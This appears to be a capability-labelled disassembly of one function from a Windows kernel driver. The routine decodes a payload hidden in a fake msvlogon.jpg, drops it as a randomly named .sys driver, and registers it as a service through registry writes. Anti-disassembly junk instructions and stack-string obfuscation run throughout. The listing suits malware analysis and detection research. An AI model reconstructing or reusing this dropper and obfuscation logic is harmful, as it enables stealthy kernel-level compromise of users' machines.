Function at 0x10918
Capabilities:
Check os version
Contain obfuscated stackstrings
Delete registry value
Get file attributes
Read file on windows
Set registry value
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x874
push edi
mov byte [ebp - 0x255], 0
mov ecx, 0x45
xor eax, eax
lea edi, [ebp - 0x7e8]
rep stosd dword es:[edi], eax
mov dword [ebp - 0x7e8], 0x114
lea eax, [ebp - 0x7e8]
push eax
pushfd
sub eax, 0x5d185c99
push eax
xor eax, eax
je 0x10958
stc
push ss
invalid
pop eax
popfd
pop eax
push eax
call sub.ntoskrnl.exe_RtlGetVersion
test eax, eax
jl 0x1099c
cmp dword [ebp - 0x7e4], 5
jne 0x10989
cmp dword [ebp - 0x7e0], 1
jne 0x10989
cmp dword [ebp - 0x7d8], 2
jne 0x10989
mov byte [ebp - 0x86d], 1
jmp 0x10990
mov byte [ebp - 0x86d], 0
mov cl, byte [ebp - 0x86d]
mov byte [ebp - 0x255], cl
movzx edx, byte [ebp - 0x255]
test edx, edx
jne 0x109b1
mov eax, 1
jmp 0x11323
mov word [ebp - 0x480], 0x5c
mov word [ebp - 0x47e], 0x3f
mov word [ebp - 0x47c], 0x3f
mov word [ebp - 0x47a], 0x5c
mov word [ebp - 0x478], 0
lea eax, [ebp - 0x698]
mov dword [ebp - 0x250], eax
mov word [ebp - 0x254], 0
mov word [ebp - 0x252], 0x200
lea ecx, [ebp - 0x480]
push ecx
lea edx, [ebp - 0x254]
push edx
call sub.ntoskrnl.exe_RtlAppendUnicodeToString
mov eax, 0x30
add eax, 0xffdf0000
push eax
lea ecx, [ebp - 0x254]
push ecx
call sub.ntoskrnl.exe_RtlAppendUnicodeToString
lea edx, [ebp - 0x240]
mov dword [ebp - 0x248], edx
mov word [ebp - 0x24c], 0
mov word [ebp - 0x24a], 0x200
lea eax, [ebp - 0x254]
push eax
lea ecx, [ebp - 0x24c]
push ecx
call sub.ntoskrnl.exe_RtlCopyUnicodeString
mov word [ebp - 0x474], 0x5c
mov word [ebp - 0x472], 0x6d
mov word [ebp - 0x470], 0x73
mov word [ebp - 0x46e], 0x76
mov word [ebp - 0x46c], 0x6c
push eax
pushfd
sub eax, 0x665e339f
push eax
xor eax, eax
je 0x10a94
xor eax, 0x581d7d1f
pop eax
popfd
pop eax
mov word [ebp - 0x46a], 0x6f
mov word [ebp - 0x468], 0x67
mov word [ebp - 0x466], 0x6f
mov word [ebp - 0x464], 0x6e
mov word [ebp - 0x462], 0x2e
mov word [ebp - 0x460], 0x6a
mov word [ebp - 0x45e], 0x70
mov word [ebp - 0x45c], 0x67
mov word [ebp - 0x45a], 0
lea edx, [ebp - 0x474]
push edx
lea eax, [ebp - 0x24c]
push eax
call sub.ntoskrnl.exe_RtlAppendUnicodeToString
lea ecx, [ebp - 0x458]
mov dword [ebp - 0x38], ecx
mov word [ebp - 0x3c], 0
mov word [ebp - 0x3a], 0x200
lea edx, [ebp - 0x254]
push edx
lea eax, [ebp - 0x3c]
push eax
call sub.ntoskrnl.exe_RtlCopyUnicodeString
mov word [ebp - 0x28], 0x5c
mov word [ebp - 0x26], 0x73
mov word [ebp - 0x24], 0x79
mov word [ebp - 0x22], 0x73
mov word [ebp - 0x20], 0x74
push eax
pushfd
sub eax, 0x7f8703d4
push eax
xor eax, eax
je 0x10b4e
or al, 0x15
adc eax, 0x589d5846
pop eax
popfd
pop eax
mov word [ebp - 0x1e], 0x65
mov word [ebp - 0x1c], 0x6d
mov word [ebp - 0x1a], 0x33
mov word [ebp - 0x18], 0x32
mov word [ebp - 0x16], 0x5c
mov word [ebp - 0x14], 0x64
mov word [ebp - 0x12], 0x72
mov word [ebp - 0x10], 0x69
push eax
pushfd
sub eax, 0x1d65414c
push eax
xor eax, eax
je 0x10b91
sbb esi, dword fs:[ecx + 0x589d5808]
pop eax
popfd
pop eax
mov word [ebp - 0xe], 0x76
mov word [ebp - 0xc], 0x65
mov word [ebp - 0xa], 0x72
mov word [ebp - 8], 0x73
mov word [ebp - 6], 0x5c
mov word [ebp - 4], 0
mov word [ebp - 0x34], 0x2e
mov word [ebp - 0x32], 0x73
mov word [ebp - 0x30], 0x79
push eax
pushfd
sub eax, 0x621b2532
push eax
xor eax, eax
je 0x10bda
les ebp, [ecx + ebp]
sbb ebx, dword [eax - 0x63]
pop eax
popfd
pop eax
mov word [ebp - 0x2e], 0x73
mov word [ebp - 0x2c], 0
xor ecx, ecx
mov edx, dword [ecx - 0x210000]
mov dword [ebp - 0x494], edx
mov dword [ebp - 0x804], 0
jmp 0x10c12
mov eax, dword [ebp - 0x804]
add eax, 1
mov dword [ebp - 0x804], eax
cmp dword [ebp - 0x804], 8
jge 0x10c52
lea ecx, [ebp - 0x494]
push ecx
call sub.ntoskrnl.exe_RtlRandom
mov dword [ebp - 0x808], eax
mov eax, dword [ebp - 0x808]
xor edx, edx
mov ecx, 0x1a
div ecx
movzx edx, dx
add edx, 0x61
mov eax, dword [ebp - 0x804]
mov word [ebp + eax*2 - 0x7fc], dx
jmp 0x10c03
mov word [ebp - 0x7ec], 0
lea ecx, [ebp - 0x28]
push ecx
lea edx, [ebp - 0x3c]
push edx
call sub.ntoskrnl.exe_RtlAppendUnicodeToString
lea eax, [ebp - 0x7fc]
push eax
lea ecx, [ebp - 0x3c]
push ecx
call sub.ntoskrnl.exe_RtlAppendUnicodeToString
lea edx, [ebp - 0x34]
push edx
lea eax, [ebp - 0x3c]
push eax
call sub.ntoskrnl.exe_RtlAppendUnicodeToString
mov dword [ebp - 0x498], 0
mov dword [ebp - 0x244], 0
mov dword [ebp - 0x800], 0
mov dword [ebp - 0x6cc], 0x18
mov dword [ebp - 0x6c8], 0
mov dword [ebp - 0x6c0], 0x240
lea ecx, [ebp - 0x24c]
mov dword [ebp - 0x6c4], ecx
mov dword [ebp - 0x6bc], 0
mov dword [ebp - 0x6b8], 0
push 0
push 0
push 0x20
push 1
push 7
push 0x80
push 0
lea edx, [ebp - 0x6b0]
push edx
lea eax, [ebp - 0x6cc]
push eax
push 0x80100000
lea ecx, [ebp - 0x498]
push ecx
call sub.ntoskrnl.exe_ZwCreateFile
mov dword [ebp - 0x6b4], eax
cmp dword [ebp - 0x6b4], 0
jl 0x10e1e
push 5
push 0x18
lea edx, [ebp - 0x820]
push edx
lea eax, [ebp - 0x6b0]
push eax
mov ecx, dword [ebp - 0x498]
push eax
pushfd
sub eax, 0x49e03772
push eax
xor eax, eax
je 0x10d4c
scasd eax, dword es:[edi]
adc al, byte [edx]
xor byte [eax - 0x63], bl
pop eax
popfd
pop eax
push ecx
call sub.ntoskrnl.exe_ZwQueryInformationFile
mov dword [ebp - 0x6b4], eax
cmp dword [ebp - 0x6b4], 0
jl 0x10e12
cmp dword [ebp - 0x818], 0
je 0x10e12
mov edx, dword [ebp - 0x818]
mov dword [ebp - 0x800], edx
push 0x20736649
mov eax, dword [ebp - 0x800]
push eax
push 0
call sub.ntoskrnl.exe_ExAllocatePoolWithTag
mov dword [ebp - 0x244], eax
cmp dword [ebp - 0x244], 0
je 0x10e12
push 0
push 0
mov ecx, dword [ebp - 0x800]
push ecx
mov edx, dword [ebp - 0x244]
push edx
lea eax, [ebp - 0x6b0]
push eax
push 0
push 0
push 0
mov ecx, dword [ebp - 0x498]
push eax
pushfd
sub eax, 0x14ff20b5
push eax
xor eax, eax
je 0x10dd8
xor dword [edi - 0x6e], esp
push eax
pop eax
popfd
pop eax
push ecx
call sub.ntoskrnl.exe_ZwReadFile
mov dword [ebp - 0x6b4], eax
cmp dword [ebp - 0x6b4], 0
jge 0x10e12
mov dword [ebp - 0x244], 0
mov dword [ebp - 0x800], 0
push 0
mov edx, dword [ebp - 0x244]
push edx
call sub.ntoskrnl.exe_ExFreePoolWithTag
mov eax, dword [ebp - 0x498]
push eax
call sub.ntoskrnl.exe_ZwClose
cmp dword [ebp - 0x800], 0
je 0x10e30
cmp dword [ebp - 0x244], 0
jne 0x10e3a
mov eax, 2
jmp 0x11323
mov ecx, dword [ebp - 0x244]
mov dword [ebp - 0x824], ecx
mov edx, dword [ebp - 0x800]
sub edx, 4
mov dword [ebp - 0x830], edx
mov eax, dword [ebp - 0x244]
add eax, dword [ebp - 0x800]
mov ecx, dword [eax - 4]
mov dword [ebp - 0x82c], ecx
mov eax, dword [ebp - 0x830]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [ebp - 0x838], eax
mov edx, dword [ebp - 0x830]
and edx, 0x80000003
jns 0x10e92
dec edx
or edx, 0xfffffffc
inc edx
mov dword [ebp - 0x828], edx
mov eax, dword [ebp - 0x82c]
xor edx, edx
mov ecx, 0xff
div ecx
mov byte [ebp - 0x839], dl
mov edx, dword [ebp - 0x824]
mov dword [ebp - 0x834], edx
mov dword [ebp - 0x844], 0
jmp 0x10ed4
mov eax, dword [ebp - 0x844]
add eax, 1
mov dword [ebp - 0x844], eax
mov ecx, dword [ebp - 0x844]
cmp ecx, dword [ebp - 0x838]
jge 0x10f1c
mov edx, dword [ebp - 0x834]
mov eax, dword [edx]
sub eax, dword [ebp - 0x82c]
mov ecx, dword [ebp - 0x834]
push eax
pushfd
sub eax, 0x13225892
push eax
xor eax, eax
je 0x10f06
mov bh, 0x54
and bl, byte gs:[eax - 0x63]
pop eax
popfd
pop eax
mov dword [ecx], eax
mov edx, dword [ebp - 0x834]
add edx, 4
mov dword [ebp - 0x834], edx
jmp 0x10ec5
mov eax, dword [ebp - 0x834]
mov dword [ebp - 0x840], eax
mov dword [ebp - 0x844], 0
jmp 0x10f43
mov ecx, dword [ebp - 0x844]
add ecx, 1
mov dword [ebp - 0x844], ecx
mov edx, dword [ebp - 0x844]
cmp edx, dword [ebp - 0x828]
jge 0x10f7c
movzx eax, byte [ebp - 0x839]
mov ecx, dword [ebp - 0x840]
movzx edx, byte [ecx]
sub edx, eax
mov eax, dword [ebp - 0x840]
mov byte [eax], dl
mov ecx, dword [ebp - 0x840]
add ecx, 1
mov dword [ebp - 0x840], ecx
jmp 0x10f34
mov dword [ebp - 0x6cc], 0x18
mov dword [ebp - 0x6c8], 0
mov dword [ebp - 0x6c0], 0x240
lea edx, [ebp - 0x3c]
mov dword [ebp - 0x6c4], edx
mov dword [ebp - 0x6bc], 0
mov dword [ebp - 0x6b8], 0
push 0
push 0
push 0x20
push eax
pushfd
sub eax, 0x33d10402
push eax
xor eax, eax
je 0x10fcd
and al, 8
loopne 0x10fe8
pop eax
popfd
pop eax
push 5
push 7
push 0x80
push 0
lea eax, [ebp - 0x6b0]
push eax
lea ecx, [ebp - 0x6cc]
push ecx
push 0x10100000
lea edx, [ebp - 0x498]
push edx
call sub.ntoskrnl.exe_ZwCreateFile
mov dword [ebp - 0x6b4], eax
cmp dword [ebp - 0x6b4], 0
jl 0x1105c
push 0
push 0
mov eax, dword [ebp - 0x800]
sub eax, 4
push eax
push eax
pushfd
sub eax, 0x361815
push eax
xor eax, eax
je 0x11027
and byte [ecx], cl
and al, 0x6c
pop eax
popfd
pop eax
mov ecx, dword [ebp - 0x244]
push ecx
lea edx, [ebp - 0x6b0]
push edx
push 0
push 0
push 0
mov eax, dword [ebp - 0x498]
push eax
call sub.ntoskrnl.exe_ZwWriteFile
mov dword [ebp - 0x6b4], eax
mov ecx, dword [ebp - 0x498]
push ecx
call sub.ntoskrnl.exe_ZwClose
push 0
mov edx, dword [ebp - 0x244]
push edx
call sub.ntoskrnl.exe_ExFreePoolWithTag
cmp dword [ebp - 0x6b4], 0
jge 0x1107d
mov eax, 3
jmp 0x11323
lea eax, [ebp - 0x7fc]
push eax
push 1
call sub.ntoskrnl.exe_RtlCreateRegistryKey
mov dword [ebp - 0x6b4], eax
cmp dword [ebp - 0x6b4], 0
jl 0x11205
mov dword [ebp - 0x864], 0
mov dword [ebp - 0x854], 2
mov word [ebp - 0x850], 0x53
mov word [ebp - 0x84e], 0x74
push eax
pushfd
sub eax, 0x622314e4
push eax
xor eax, eax
je 0x110d4
mov bl, 0x6c
xor eax, 0x589d581a
pop eax
popfd
pop eax
mov word [ebp - 0x84c], 0x61
mov word [ebp - 0x84a], 0x72
mov word [ebp - 0x848], 0x74
mov word [ebp - 0x846], 0
mov word [ebp - 0x860], 0x54
mov word [ebp - 0x85e], 0x79
push eax
pushfd
sub eax, 0x5c566cc7
push eax
xor eax, eax
je 0x1111d
adc al, 0x16
pop esp
pop ds
pop eax
popfd
pop eax
mov word [ebp - 0x85c], 0x70
mov word [ebp - 0x85a], 0x65
mov word [ebp - 0x858], 0
push 4
lea ecx, [ebp - 0x864]
push ecx
push 4
lea edx, [ebp - 0x850]
push edx
lea eax, [ebp - 0x7fc]
push eax
push 1
call sub.ntoskrnl.exe_RtlWriteRegistryValue
mov dword [ebp - 0x86c], eax
push 4
lea ecx, [ebp - 0x854]
push ecx
push 4
lea edx, [ebp - 0x860]
push edx
lea eax, [ebp - 0x7fc]
push eax
push eax
pushfd
sub eax, 0x17fb6bc8
push eax
xor eax, eax
je 0x1118a
mov ebx, 0x5800c979
pop eax
popfd
pop eax
push 1
call sub.ntoskrnl.exe_RtlWriteRegistryValue
mov dword [ebp - 0x868], eax
cmp dword [ebp - 0x86c], 0
jl 0x111ac
cmp dword [ebp - 0x868], 0
jge 0x11205
cmp dword [ebp - 0x86c], 0
jl 0x111c3
mov ecx, dword [ebp - 0x868]
mov dword [ebp - 0x874], ecx
jmp 0x111cf
mov edx, dword [ebp - 0x86c]
mov dword [ebp - 0x874], edx
mov eax, dword [ebp - 0x874]
mov dword [ebp - 0x6b4], eax
lea ecx, [ebp - 0x850]
push ecx
lea edx, [ebp - 0x7fc]
push edx
push 1
call fcn.0001136a
lea eax, [ebp - 0x860]
push eax
lea ecx, [ebp - 0x7fc]
push ecx
push 1
call fcn.0001136a
cmp dword [ebp - 0x6b4], 0
jge 0x11218
mov eax, 4
jmp 0x11323
mov word [ebp - 0x6a8], 0x42
mov word [ebp - 0x6a6], 0x72
mov word [ebp - 0x6a4], 0x6f
mov word [ebp - 0x6a2], 0x77
push eax
pushfd
sub eax, 0x6b723357
push eax
xor eax, eax
je 0x1124c
mov ebp, 0x582c7d16
pop eax
popfd
pop eax
mov word [ebp - 0x6a0], 0x73
mov word [ebp - 0x69e], 0x65
mov word [ebp - 0x69c], 0x72
mov word [ebp - 0x69a], 0
mov word [ebp - 0x490], 0x73
mov word [ebp - 0x48e], 0x79
mov word [ebp - 0x48c], 0x73
push eax
pushfd
sub eax, 0x3e531e3f
push eax
xor eax, eax
je 0x1129e
pop ecx
sbb ah, byte [edi + 0x1d]
pop eax
popfd
pop eax
mov word [ebp - 0x48a], 0x70
mov word [ebp - 0x488], 0x6e
mov word [ebp - 0x486], 0x6f
mov word [ebp - 0x484], 0
push 0x12
lea edx, [ebp - 0x7fc]
push edx
push 2
lea eax, [ebp - 0x490]
push eax
lea ecx, [ebp - 0x6a8]
push ecx
push 1
push eax
pushfd
sub eax, 0x6eaf20d8
push eax
xor eax, eax
je 0x112f0
into
popal
int 0xa
pop eax
popfd
pop eax
call sub.ntoskrnl.exe_RtlWriteRegistryValue
mov dword [ebp - 0x6b4], eax
cmp dword [ebp - 0x6b4], 0
jge 0x11321
mov eax, 5
push eax
pushfd
sub eax, 0x1b99797e
push eax
xor eax, eax
je 0x1131c
jo 0x11368
out dx, al
pop eax
pop eax
popfd
pop eax
jmp 0x11323
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret
add dword [eax], eax